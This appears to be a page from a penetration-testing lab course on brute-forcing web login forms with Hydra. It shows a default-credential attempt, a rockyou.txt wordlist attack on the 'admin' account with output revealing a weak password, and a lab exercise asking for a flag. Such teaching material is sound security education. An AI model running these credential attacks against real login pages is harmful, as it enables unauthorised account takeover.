

Login Form Attacks

In our situation, we don't have any information about the existing usernames or passwords. Since we enumerated all available ports to us and we couldn't determine any useful information, we have the option to test the web application form for default credentials in combination with the `http-post-form` module.

Default Credentials

Let's try to use the `ftp-betterdefaultpasslist.txt` list with the default credentials to test if one of the accounts is registered in the web application.

```

Login Form Attacks

dbcypn@htb[/htb]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Hydra v9.1 (c) d020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

As we can see, we were not able to identify any working credentials. Still, this only took a few seconds, and we ruled out the use of default passwords. Now, we can move on to use a password wordlist.

Password Wordlist

Since the brute force attack failed using default credentials, we can try to brute force the web application form with a specified user. Often usernames such as `admin`, `administrator`, `wpadmin`, `root`, `adm`, and similar are used in administration panels and are rarely changed. Knowing this fact allows us to limit the number of possible usernames. The most common username administrators use is `admin`. In this case, we specify this username for our next attempt to get access to the admin panel.

```

Login Form Attacks

dbcypn@htb[/htb]$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per target
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='
[PORT][http-post-form] host: 178.35.49.134 login: admin password: password123
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

We can try to log in with these credentials now:

http://178.35.49.134:32901/login.php

Welcome back Mr.
Bill Gates!

Please change
your password, as
it is very weak!

You password must meet
the company's Password
Policy:

1. Must be 8
characters or
longer
2. Must contain
numbers
3. Must contain
special characters

Logout



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

48ms



Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

 Cheat Sheet

Answer the question(s) below to complete this Section and earn cubes!

Target: 94.237.62.149:51689 

Life Left: 41 minute(s)

+ 1 

 Using what you learned in this section, try attacking the '/login.php' page to identify the password for the 'admin' user. Once you login, you should find a flag. Submit the flag as the answer.

Submit your answer here...

+10 Streak pts

 Submit

 Show Solution

← Previous

Next →

 Cheat Sheet

? Go to Questions

Table of Contents

Introduction

Introduction to Brute Forcing



Basic HTTP Auth Brute Forcing

Password Attacks



 Default Passwords



 Username Brute Force



Web Forms Brute Forcing

Hydra Modules



Determine Login Parameters



 [Login Form Attacks](#)

Service Authentication Attacks

Personalized Wordlists

 Service Authentication Brute Forcing

Skills Assessment

 Skills Assessment - Website

 Skills Assessment - Service Login

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left